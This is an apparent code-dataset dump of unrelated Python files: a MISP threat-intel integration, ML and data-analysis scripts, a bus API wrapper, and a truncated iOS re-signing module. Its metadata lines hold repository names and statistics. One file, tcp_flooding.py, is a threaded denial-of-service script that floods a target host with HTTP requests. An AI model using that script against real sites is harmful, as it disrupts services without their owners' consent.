build_feed_url(demisto_args) osint_url = f'{url}/manifest.json' limit = arg_to_number(demisto_args.get('limit', 2), "limit", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids = list() # type: List[Dict[str, int]] for index, uri in enumerate(uri_list, 1): response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of {len(events_ids)} events was added to MISP.', events_ids) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=events_ids, ) except ValueError as e: raise DemistoException(f'URL [{url}] is not a valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject): """Sending object to MISP and returning outputs Args: obj: object to add to MISP event_id: ID of event """ response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error in `{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response = PYMISP.add_object_reference(ref) for attribute in response.get('Object', {}).get('Attribute', []): convert_timestamp_to_readable(attribute, None) response['Object']['timestamp'] = misp_convert_timestamp_to_date_string(response.get('Object', {}).get('timestamp')) formatted_response = replace_keys_from_misp_to_context_data(response) formatted_response.update({"ID": event_id}) human_readable = f'Object has been added to MISP event ID {event_id}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=formatted_response, ) def add_file_object(demisto_args: dict): entry_id = demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): """Adds a domain object to MISP domain-ip description: https://www.misp-project.org/objects.html#_domain_ip """ text = demisto_args.get('text') event_id = demisto_args.get('event_id') domain = demisto_args.get('name') obj = MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain) if text: obj.add_attribute('text', value=text) return add_object(event_id, obj) def add_url_object(demisto_args: dict): """Building url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url """ url_args = [ 'text', 'last_seen', 'first_seen' ] event_id = demisto_args.get('event_id') url = demisto_args.get('url') url_parse = urlparse(url) url_obj = [{'url': url}] url_obj.extend({'scheme': url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain': url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port}) if url_parse.port else None url_obj.append( {'credential': (url_parse.username, url_parse.password)}) if url_parse.username and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id = demisto_args.get('event_id') template = demisto_args.get('template') attributes = demisto_args.get('attributes').replace("'", '"') try: args = json.loads(attributes) if not isinstance(args, list): args = dict_to_generic_object_format(args) obj = build_generic_object(template, args) return add_object(event_id, obj) except ValueError as e: raise DemistoException( f'`attribute` parameter could not be decoded, may not a valid JSON\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args, args_names): return [{arg.replace('_', '-'): demisto_args.get(arg)} for arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args = [ 'dst_port', 'src_port', 'domain', 'hostname', 'ip_src', 'ip_dst' ] # converting args to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip in ips: misp_attributes_args.append({'ip': ip}) if misp_attributes_args: non_req_args = [ 'first_seen', 'last_seen', ] misp_attributes_args.extend(convert_arg_to_misp_args(demisto_args, non_req_args)) misp_attributes_args.append({'text': demisto_args.get('comment')}) if demisto_args.get('comment') else None obj = build_generic_object('ip-port', misp_attributes_args) return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents. command {demisto.command()} requires one of {ip_object_args}') def handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids): """ Gets 2 sets which include tag ids. If there is an id that exists in both sets, it will be removed from the suspicious tag ids set and will be stayed only in the malicious one (as a tag that was configured to be malicious is stronger than recognised as suspicious). """ common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in suspicious_tag_ids if tag_id not in common_ids} return malicious_tag_ids, suspicious_tag_ids def is_tag_list_valid(tag_ids): """Gets a list ot tag ids (each one is str), and verify all the tags are valid positive integers.""" for tag in tag_ids: try: tag = int(tag) if tag <= 0: raise DemistoException(f"Tag id has to be a positive integer, please change the given: '{tag}' id.") except ValueError: raise DemistoException(f"Tag id has to be a positive integer, please change the given: '{tag}' id.") def create_updated_attribute_instance(demisto_args: dict, attribute_uuid: str) -> MISPAttribute: attribute_type = demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value') first_seen = demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type: attribute_instance.type = attribute_type if distribution: attribute_instance.distribution = MISP_DISTRIBUTION_TO_IDS[distribution] if category: attribute_instance.category = category if value: attribute_instance.value = value if comment: attribute_instance.comment = comment if first_seen: attribute_instance.first_seen = first_seen if last_seen: attribute_instance.last_seen = last_seen return attribute_instance def update_attribute_command(demisto_args: dict) -> CommandResults: attribute_uuid = demisto_args.get('attribute_uuid') attribute_instance = create_updated_attribute_instance(demisto_args, attribute_uuid) attribute_instance_response = PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f"## MISP update attribute\nAttribute: {attribute_uuid} was updated.\n" attribute = attribute_instance_response.get('Attribute') convert_timestamp_to_readable(attribute, None) parsed_attribute_data = replace_keys_from_misp_to_context_data(attribute) return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=parsed_attribute_data, ) def main(): params = demisto.params() malicious_tag_ids = argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception("MISP V3 error: Please provide a valid value for the Source Reliability parameter") attributes_limit = arg_to_number(params.get('attributes_limit', 20), "attributes_limit", required=True) command = demisto.command() demisto.debug(f'[MISP V3]: command is {command}') args = demisto.args() try: malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command == 'misp-delete-event': return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command == 'misp-add-tag-to-attribute': return_results(add_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'ip': return_results( generic_reputation_command(args, 'ip', 'IP', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command == 'misp-add-url-object': return_results(add_url_object(args)) elif command == 'misp-add-ip-object': return_results(add_ip_object(args)) elif command == 'misp-add-object': return_results(add_generic_object_command(args)) elif command == 'misp-update-attribute': return_results(update_attribute_command(args)) except PyMISPError as e: return_error(e.message) except Exception as e: return_error(str(e)) if __name__ in ['__main__', '__builtin__', 'builtins']: main()

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0.674295

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0.085466

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0.406533

0.334967

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0.134668

0

null

0

null

0

1

0

8678e0fdfc11399c75f91f8ec0af910ceb4aab00

3,212

py

Python

python_survey/finished_files/main.py

trenton3983/PyCharmProjects

fae8653a25e07e7384eb0ddf6ea191adeb44face

[ "MIT" ]

null

python_survey/finished_files/main.py

trenton3983/PyCharmProjects

fae8653a25e07e7384eb0ddf6ea191adeb44face

[ "MIT" ]

null

python_survey/finished_files/main.py

trenton3983/PyCharmProjects

fae8653a25e07e7384eb0ddf6ea191adeb44face

[ "MIT" ]

null

import pandas as pd import numpy as np import matplotlib.pyplot as plt import scipy.stats from finished_files.survey_data_dictionary import DATA_DICTIONARY # Load data # We want to take the names list from our data dictionary names = [x.name for x in DATA_DICTIONARY] # Generate the list of names to import usecols = [x.name for x in DATA_DICTIONARY if x.usecol] # dtypes should be a dict of 'col_name' : dtype dtypes = {x.name : x.dtype for x in DATA_DICTIONARY if x.dtype} # same for converters converters = {x.name : x.converter for x in DATA_DICTIONARY if x.converter} df = pd.read_csv('data/survey.csv', header=0, names=names, dtype=dtypes, converters=converters, usecols=usecols) #%% Clean up data: remove disqualified users # In the survey, any user who selected they don't use Python was then # disqualified from the rest of the survey. So let's drop them here. df = df[df['python_main'] != 'No, I don’t use Python for my current projects'] # Considering we now only have two categories left: # - Yes # - No, I use Python for secondary projects only # Let's turn it into a bool df['python_main'] = df['python_main'] == 'Yes' #%% Plot the web dev / data scientist ratio # In the survey, respondents were asked to estimate the ratio between # the amount of web developers vs the amount of data scientists. Afterwards # they were asked what they thought the most popular answer would be. # Let's see if there's a difference! # This is a categorical data point, and it's already ordered in the data # dictionary. So we shouldn't sort it after counting the values. ratio_self = df['webdev_science_ratio_self'].value_counts(sort=False) ratio_others = df['webdev_science_ratio_others'].value_counts(sort=False) # Let's draw a bar chart comparing the distributions fig = plt.figure() ax = fig.add_subplot(111) RATIO_COUNT = ratio_self.count() x = np.arange(RATIO_COUNT) WIDTH = 0.4 self_bars = ax.bar(x-WIDTH, ratio_self, width=WIDTH, color='b', align='center') others_bars = ax.bar(x, ratio_others, width=WIDTH, color='g', align='center') ax.set_xlabel('Ratios') ax.set_ylabel('Observations') labels = [str(lbl) for lbl in ratio_self.index] ax.set_xticks(x - 0.5 * WIDTH) ax.set_xticklabels(labels) ax.legend((self_bars[0], others_bars[0]), ('Self', 'Most popular')) plt.show() #%% Calculate the predicted totals # Let's recode the ratios to numbers, and calculate the means CONVERSION = { '10:1': 10, '5:1' : 5, '2:1' : 2, '1:1' : 1, '1:2' : 0.5, '1:5' : 0.2, '1:10': 0.1 } self_numeric = df['webdev_science_ratio_self'] \ .replace(CONVERSION.keys(), CONVERSION.values()) others_numeric = df['webdev_science_ratio_others'] \ .replace(CONVERSION.keys(), CONVERSION.values()) print(f'Self:\t\t{self_numeric.mean().round(2)} web devs / scientist') print(f'Others:\t\t{others_numeric.mean().round(2)} web devs / scientist') #%% Is the difference statistically significant? result = scipy.stats.chisquare(ratio_self, ratio_others) # The null hypothesis is that they're the same. Let's see if we can reject it print(result)

31.184466

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0.384466

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0.010929

0.018215

0.160747

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0.058824

0

null

0

null

0

1

0

8679399f0ab155a65d5523949359b9a4e0752af4

4,918

py

Python

adet/modeling/embedmask/mask_pred.py

yinghdb/AdelaiDet

94a9b7cde92fb039852f876964d991a1f3e15af4

[ "BSD-2-Clause" ]

3

2021-05-21T08:02:48.000Z

2021-11-05T11:06:40.000Z

adet/modeling/embedmask/mask_pred.py

yinghdb/AdelaiDet

94a9b7cde92fb039852f876964d991a1f3e15af4

[ "BSD-2-Clause" ]

null

adet/modeling/embedmask/mask_pred.py

yinghdb/AdelaiDet

94a9b7cde92fb039852f876964d991a1f3e15af4

[ "BSD-2-Clause" ]

1

2021-05-24T06:53:32.000Z

import torch from torch.nn import functional as F from torch import nn from torch.autograd import Variable from adet.utils.comm import compute_locations, aligned_bilinear def dice_coefficient(x, target): eps = 1e-5 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) intersection = (x * target).sum(dim=1) union = (x ** 2.0).sum(dim=1) + (target ** 2.0).sum(dim=1) + eps loss = 1. - (2 * intersection / union) return loss def lovasz_grad(gt_sorted): """ Computes gradient of the Lovasz extension w.r.t sorted errors See Alg. 1 in paper """ p = len(gt_sorted) gts = gt_sorted.sum() intersection = gts - gt_sorted.float().cumsum(0) union = gts + (1 - gt_sorted.float()).cumsum(0) jaccard = 1. - intersection / union if p > 1: # cover 1-pixel case jaccard[1:p] = jaccard[1:p] - jaccard[0:-1] return jaccard def lovasz_hinge(logits, labels): """ Binary Lovasz hinge loss logits: [P] Variable, logits at each prediction (between -\infty and +\infty) labels: [P] Tensor, binary ground truth labels (0 or 1) """ if len(labels) == 0: # only void pixels, the gradients should be 0 return logits.sum() * 0. signs = 2. * labels.float() - 1. errors = (1. - logits * Variable(signs)) errors_sorted, perm = torch.sort(errors, dim=0, descending=True) perm = perm.data gt_sorted = labels[perm] grad = lovasz_grad(gt_sorted) loss = torch.dot(F.relu(errors_sorted), Variable(grad)) return loss def lovasz_loss(x, target): eps = 1e-6 n_inst = x.size(0) x = x.reshape(n_inst, -1) target = target.reshape(n_inst, -1) x = torch.clamp(x, min=eps, max=1-eps) x = torch.log(x) - torch.log(1 - x) losses = [] for i in range(n_inst): losses.append(lovasz_hinge(x[i], target[i])) loss = torch.stack(losses) return loss def build_mask_pred(cfg): return MaskPred(cfg) class MaskPred(nn.Module): def __init__(self, cfg): super(MaskPred, self).__init__() self.in_channels = cfg.MODEL.EMBEDMASK.MASK_BRANCH.OUT_CHANNELS self.mask_out_stride = cfg.MODEL.EMBEDMASK.MASK_OUT_STRIDE soi = cfg.MODEL.FCOS.SIZES_OF_INTEREST self.register_buffer("sizes_of_interest", torch.tensor(soi + [soi[-1] * 2])) self.register_buffer("_iter", torch.zeros([1])) self.mask_loss_type = cfg.MODEL.EMBEDMASK.MASK_LOSS_TYPE self.mask_loss_alpha = cfg.MODEL.EMBEDMASK.MASK_LOSS_ALPHA def __call__(self, pixel_embed, mask_feat_stride, pred_instances, gt_instances=None): if self.training: self._iter += 1 gt_inds = pred_instances.gt_inds gt_bitmasks = torch.cat([per_im.gt_bitmasks for per_im in gt_instances]) gt_bitmasks = gt_bitmasks[gt_inds].unsqueeze(dim=1).to(dtype=pixel_embed.dtype) losses = {} if len(pred_instances) == 0: dummy_loss = pixel_embed.sum() * 0 + pred_instances.proposal_embed.sum() * 0 + pred_instances.proposal_margin.sum() * 0 losses["loss_mask"] = dummy_loss else: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) if self.mask_loss_type == "Dice": mask_losses = dice_coefficient(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() elif self.mask_loss_type == "Lovasz": mask_losses = lovasz_loss(mask_prob, gt_bitmasks) loss_mask = mask_losses.mean() losses["loss_mask"] = loss_mask * self.mask_loss_alpha return losses else: if len(pred_instances) > 0: mask_prob = self.compute_mask_prob(pred_instances, pixel_embed, mask_feat_stride) pred_instances.pred_global_masks = mask_prob return pred_instances def compute_mask_prob(self, instances, pixel_embed, mask_feat_stride): proposal_embed = instances.proposal_embed proposal_margin = instances.proposal_margin im_inds = instances.im_inds dim, m_h, m_w = pixel_embed.shape[-3:] obj_num = proposal_embed.shape[0] pixel_embed = pixel_embed.permute(0, 2, 3, 1)[im_inds] proposal_embed = proposal_embed.view(obj_num, 1, 1, -1).expand(-1, m_h, m_w, -1) proposal_margin = proposal_margin.view(obj_num, 1, 1, dim).expand(-1, m_h, m_w, -1) mask_var = (pixel_embed - proposal_embed) ** 2 mask_prob = torch.exp(-torch.sum(mask_var * proposal_margin, dim=3)) assert mask_feat_stride >= self.mask_out_stride assert mask_feat_stride % self.mask_out_stride == 0 mask_prob = aligned_bilinear(mask_prob.unsqueeze(1), int(mask_feat_stride / self.mask_out_stride)) return mask_prob

36.42963

135

0.637861

698

4,918

4.239255

0.23639

0.032443

0.033119

0.017574

0.25414

0.196688

0.165259

0.129774

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0

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4,918

134

136

36.701493

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0.081633

false

0

0.05102

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0.234694

0

null

0

null

0

1

0

8679dfd086b9b3768ebf7c42ebcbb01fc263b720

2,569

py

Python

bongo/core.py

codeforamerica/bongo

a1b162c54fc51630ae1cfac16e1c136b0ff320a3

[ "BSD-3-Clause" ]

null

bongo/core.py

codeforamerica/bongo

a1b162c54fc51630ae1cfac16e1c136b0ff320a3

[ "BSD-3-Clause" ]

null

bongo/core.py

codeforamerica/bongo

a1b162c54fc51630ae1cfac16e1c136b0ff320a3

[ "BSD-3-Clause" ]

1

2021-04-17T10:21:05.000Z

""" A simple wrapper for the Bongo Iowa City bus API. """ import requests as req class Bongo(object): """ A simple Python wrapper for the Bongo Iowa City bus API. """ def __init__(self, format='json'): self.format = format def get(self, endpoint, **kwargs): """Perform a HTTP GET request to the API and return the data.""" if 'format' not in kwargs: kwargs['format'] = self.format url = "http://ebongo.org/api/%s" % (endpoint) response = req.get(url, params=kwargs) return self.convert(response) def convert(self, response): """Convert a request based on the response type.""" content_type = response.headers['content-type'] if content_type == 'application/json': data = response.json elif 'stoplist' in response.url: # The `stoplist` endpoint insists that it's HTML. data = response.json else: data = response.content return data def route(self, tag=None, agency=None, **kwargs): """ Get information on a specific route, or all route listings. >>> Bongo().route('lantern', 'coralville') {"coralville's": {"lantern": "route"}} """ if agency and tag: endpoint = 'route' kwargs['agency'] = agency kwargs['route'] = tag else: endpoint = 'routelist' return self.get(endpoint, **kwargs) def routes(self): """ Same as an empty call to the `route` method. >>> Bongo().routes() {"routes": [1234, 5678, 9999]} """ return self.route() def stop(self, number=None, **kwargs): """ Retrieve information specific to a given stop number. >>> Bongo().stop(8350) {"stop": {"8350": "information"}} """ if number: endpoint = 'stop' kwargs['stopid'] = number else: endpoint = 'stoplist' return self.get(endpoint, **kwargs) def stops(self): """ Same as an empty call to the `stop` method. >>> Bongo().stops() {"stops": [1234, 5678, 9999]} """ return self.stop() def predict(self, number, **kwargs): """ Predict the bus arrival times for a specific stop. >>> Bongo().predict(8350) {"stop": {"8350": "prediction"}} """ endpoint = 'prediction' kwargs['stopid'] = number return self.get(endpoint, **kwargs)

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0.534838

280

2,569

4.885714

0.310714

0.04386

0.028509

0.046053

0.180556

0.128655

0.084795

0

0.023269

0.330868

2,569

92

73

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0.772542

0.318801

0

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0

0.088699

0

1

0.190476

false

0

0.02381

0

0.404762

0

null

0

null

0

1

0

867a45f315cdcc7854ea80a22125e3ed4f3423db

1,671

py

Python

src/security/tcp_flooding.py

janaSunrise/useful-python-snippets

f03285b8f0b44f87326ca982129dab80a18697f5

[ "Apache-2.0" ]

1

2021-03-15T16:48:05.000Z

src/security/tcp_flooding.py

janaSunrise/useful-python-snippets

f03285b8f0b44f87326ca982129dab80a18697f5

[ "Apache-2.0" ]

null

src/security/tcp_flooding.py

janaSunrise/useful-python-snippets

f03285b8f0b44f87326ca982129dab80a18697f5

[ "Apache-2.0" ]

null

import random import socket import string import sys import threading import time def attack(host: str, port: int = 80, request_count: int = 10 ** 10) -> None: # Threading support thread_num = 0 thread_num_mutex = threading.Lock() # Utility function def print_status() -> None: global thread_num thread_num_mutex.acquire(True) thread_num += 1 print(f"\n[{time.ctime().split(' ')[3]}] [{str(thread_num)}] Under progress...") thread_num_mutex.release() def generate_url_path(): msg = str(string.ascii_letters + string.digits + string.punctuation) data = "".join(random.sample(msg, 5)) return data def attack_() -> None: print_status() url_path = generate_url_path() dos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: dos.connect((ip, port)) msg = f"GET /{url_path} HTTP/1.1\nHost: {host}\n\n" dos.send(msg.encode()) except socket.error: print(f"[ERROR] Site may be down | {socket.error}") finally: dos.shutdown(socket.SHUT_RDWR) dos.close() try: host = host.replace("https://", "").replace("http://", "").replace("www.", "") ip = socket.gethostbyname(host) except socket.gaierror: print("[ERROR] Make sure you entered a correct website!") sys.exit(2) all_threads = [] for i in range(request_count): t1 = threading.Thread(target=attack) t1.start() all_threads.append(t1) time.sleep(0.01) for current_thread in all_threads: current_thread.join()

26.109375

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0.591263

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4.583732

0.497608

0.065762

0.043841

0

0.015715

0.276481

1,671

63

89

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0.776675

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0.014688

0

1

0.086957

false

0

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0

0.23913

0.108696

0

null

0

null

0

1

0

867addf71ccf4a2d2cc021bb3410dbc784317269

319

py

Python

test.py

wangjm12138/Yolov3_wang

3d143c7cd863dec796edede3faedacc6590cab5e

[ "MIT" ]

null

test.py

wangjm12138/Yolov3_wang

3d143c7cd863dec796edede3faedacc6590cab5e

[ "MIT" ]

8

2020-01-28T22:17:25.000Z

2022-03-12T00:04:30.000Z

test.py

wangjm12138/Yolov3_wang

3d143c7cd863dec796edede3faedacc6590cab5e

[ "MIT" ]

null

import random class Yolov3(object): def __init__(self): self.num=0 self.input_size=[8,16,32] def __iter__(self): return self def __next__(self): a = random.choice(self.input_size) self.num=self.num+1 if self.num<3: return a else: raise StopIteration yolo=Yolov3() for data in yolo: print(data)

16.789474

36

0.702194

53

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3.962264

0.584906

0.133333

0.12381

0

0.038023

0.175549

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18

37

17.722222

0.760456

0

1

0.176471

false

0

0.058824

0.411765

0.058824

0

null

0

null

0

1

0

867b9f7391f64037b68d280aea495bc5295d4119

1,256

py

Python

utils/turkish.py

derenyilmaz/personality-analysis-framework

9e1f3ac1047b1df07498159de23f88f87644d195

[ "MIT" ]

1

2021-09-15T14:44:45.000Z

utils/turkish.py

derenyilmaz/personality-analysis-framework

9e1f3ac1047b1df07498159de23f88f87644d195

[ "MIT" ]

1

2022-03-12T00:48:01.000Z

utils/turkish.py

derenyilmaz/personality-analysis-framework

9e1f3ac1047b1df07498159de23f88f87644d195

[ "MIT" ]

null

class TurkishText(): """Class for handling lowercase/uppercase conversions of Turkish characters.. Attributes: text -- Turkish text to be handled """ text = "" l = ['ı', 'ğ', 'ü', 'ş', 'i', 'ö', 'ç'] u = ['I', 'Ğ', 'Ü', 'Ş', 'İ', 'Ö', 'Ç'] def __init__(self, text): self.text = text def upper(self): """Converts the text into uppercase letters. Returns string. """ res = "" for i in self.text: if i in self.l: res += self.u[self.l.index(i)] else : res += i.upper() return res def lower(self): """Converts the text into lowercase letters. Returns string. """ res = "" for i in self.text: if i in self.u: res += self.l[self.u.index(i)] else : res += i.lower() return res def capitalize(self): """Converts each first letter to uppercase, and the rest to lowercase letters. Returns string. """ m = self.text.split() res = "" for i in m: res += TurkishText(i[0]).upper() + TurkishText(i[1:]).lower() + " " return res[:-1:]

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null

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null

0

1

0

868018c92dba01d6288623e8f84851ac57ade115

3,427

py

Python

tf/estimators/keras_estimator.py

aspratyush/dl_utils

c067831f3c72aba88223c231c7fbc249d997e222

[ "Apache-2.0" ]

null

tf/estimators/keras_estimator.py

aspratyush/dl_utils

c067831f3c72aba88223c231c7fbc249d997e222

[ "Apache-2.0" ]

null

tf/estimators/keras_estimator.py

aspratyush/dl_utils

c067831f3c72aba88223c231c7fbc249d997e222

[ "Apache-2.0" ]

null

from __future__ import absolute_import from __future__ import division from __future__ import print_function # Imports import os import numpy as np import tensorflow as tf def run(model, X, Y, optimizer=None, nb_epochs=30, nb_batches=128): """ Run the estimator """ if optimizer is None: optimizer = tf.keras.estimators.SGD( lr=0.0009, decay=1e-5, momentum=0.9, nesterov=True) # 1. Compile the model model.compile( optimizer=optimizer, loss='categorical_crossentropy', metrics=['accuracy']) # 2. Create an estimator model_est = tf.keras.estimator.model_to_estimator( keras_model=model, model_dir='./lenet') # Training # 3a. Create the training function train_input_fn = tf.estimator.inputs.numpy_input_fn( x={model.input_names[0]: X['train'].astype(np.float32)}, y=Y['train'].astype(np.float32), batch_size=nb_batches, num_epochs=nb_epochs, shuffle=True ) # 3b. Train the model model_est.train(input_fn=train_input_fn, steps=nb_epochs*nb_batches) # Evaluate # 4a. Evaluate the model eval_input_fn = tf.estimator.inputs.numpy_input_fn( x={model.input_names[0]: X['test'].astype(np.float32)}, y=Y['test'].astype(np.float32), batch_size=nb_batches, num_epochs=nb_epochs, shuffle=True ) # 4b. Evaluate the model model_eval = model_est.evaluate(input_fn=eval_input_fn) print(model_eval) return model_est, model_eval def run_from_generator( model, input_func=None, input_func_dict=None, eval_func_dict=None, nb_epochs=10, optimizer=None, model_dir=None): """ Overloaded function to create an estimator using tf.data.Dataset :param model : uncompiled keras model :param input_fn : input function providing tf.data.Dataset to the estimator :param input_fn_dict : dictionary containing input params for input_fn :param eval_fn_dict : dictionary containing params for eval input_fn :param model_dir : directory to store the trained model """ # 1. Create optimizer and compile model if optimizer is None if (optimizer is None): optimizer = tf.keras.optimizers.SGD( lr=1e-3, decay=1e-5, momentum=0.9, nesterov=True) # 2. compile the model model.compile( optimizer=optimizer, loss='categorical_crossentropy', metrics=['accuracy']) # 3. create estimator dir_path = os.path.join(os.getcwd(), model_dir) print("Model path chosen : ", dir_path) if (not os.path.exists(dir_path)): os.mkdir(dir_path) print("Creating estimator...") est = tf.keras.estimator.model_to_estimator( keras_model=model, model_dir=dir_path) # 4. Train and Evaluate the model print("Training...") # training spec train_spec = tf.estimator.TrainSpec(input_fn=lambda: input_func(input_func_dict), max_steps=500) # evaluation spec eval_spec = tf.estimator.EvalSpec(input_fn=lambda: input_func(eval_func_dict)) # Run the training model_est = tf.estimator.train_and_evaluate(est, train_spec, eval_spec) #est.train(input_fn=lambda: input_func(input_func_dict), # steps=None) # #est.evalute(input_fn=lambda: input_func(eval_func_dict)) return est

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null

0

null

0

1

0

8681c3c33618ecd1ae623aef1502da24ff44d7f8

15,279

py

Python

isign/archive.py

l0ui3/isign

c0730ac1ce1b32defe8c6016e19b9701184b0f5a

[ "Apache-2.0" ]

1

2020-03-24T14:22:17.000Z

isign/archive.py

l0ui3/isign

c0730ac1ce1b32defe8c6016e19b9701184b0f5a

[ "Apache-2.0" ]

null

isign/archive.py

l0ui3/isign

c0730ac1ce1b32defe8c6016e19b9701184b0f5a

[ "Apache-2.0" ]

1

2021-08-16T04:03:25.000Z

""" Represents an app archive. This is an app at rest, whether it's a naked app bundle in a directory, or a zipped app bundle, or an IPA. We have a common interface to extract these apps to a temp file, then resign them, and create an archive of the same type """ import abc import biplist from bundle import App, Bundle, is_info_plist_native from exceptions import MissingHelpers, NotSignable, NotMatched from distutils import spawn import logging import os from os.path import abspath, dirname, exists, isdir, isfile, join, normpath import tempfile import re from subprocess import call from signer import Signer import shutil import zipfile REMOVE_WATCHKIT = True helper_paths = {} log = logging.getLogger(__name__) def get_helper(helper_name): """ find paths to executables. Cached in helper_paths """ if helper_name not in helper_paths or helper_paths[helper_name] is None: # note, find_executable returns None is not found # in other words, we keep retrying until found helper_paths[helper_name] = spawn.find_executable(helper_name) log.debug("got executable {} for {}".format(helper_paths[helper_name], helper_name)) return helper_paths[helper_name] def make_temp_dir(): return tempfile.mkdtemp(prefix="isign-") def get_watchkit_paths(root_bundle_path): """ collect sub-bundles of this bundle that have watchkit """ # typical structure: # # app_bundle # ... # some_directory # watchkit_extension <-- this is the watchkit bundle # Info.plist # watchkit_bundle <-- this is the part that runs on the Watch # Info.plist <-- WKWatchKitApp=True # watchkit_paths = [] for path, _, _ in os.walk(root_bundle_path): if path == root_bundle_path: continue try: bundle = Bundle(path) except NotMatched: # this directory is not a bundle continue if bundle.info.get('WKWatchKitApp') is True: # get the *containing* bundle watchkit_paths.append(dirname(path)) return watchkit_paths def process_watchkit(root_bundle_path, should_remove=False): """ Unfortunately, we currently can't sign WatchKit. If you don't care about watchkit functionality, it is generally harmless to remove it, so that's the default. Remove when https://github.com/saucelabs/isign/issues/20 is fixed """ watchkit_paths = get_watchkit_paths(root_bundle_path) if len(watchkit_paths) > 0: if should_remove: for path in watchkit_paths: log.warning("Removing WatchKit bundle {}".format(path)) shutil.rmtree(path) else: raise NotSignable("Cannot yet sign WatchKit bundles") class Archive(object): __metaclass__ = abc.ABCMeta # we use abc.abstractmethod throughout because there are certain class # methods we want to ensure are implemented. @abc.abstractmethod def unarchive_to_temp(self): """ Unarchive and copy to a temp directory """ pass @abc.abstractmethod def archive(cls, path, output_path): """ Archive a directory to an output path """ pass @abc.abstractmethod def get_info(cls, path): """ Obtain app metadata from Info.plist without unarchiving """ pass @abc.abstractmethod def precheck(cls, path): """ Check if this is, in fact, an archive of this type """ pass @abc.abstractmethod def find_bundle_dir(cls, path): """ Locate the directory of the main app (aka bundle) """ pass class AppArchive(Archive): """ The simplest form of archive -- a naked App Bundle, with no extra directory structure, compression, etc """ @classmethod def find_bundle_dir(cls, path): """ Included for similarity with the zipped archive classes. In this case, the bundle dir *is* the directory """ return path @classmethod def _get_plist_path(cls, path): return 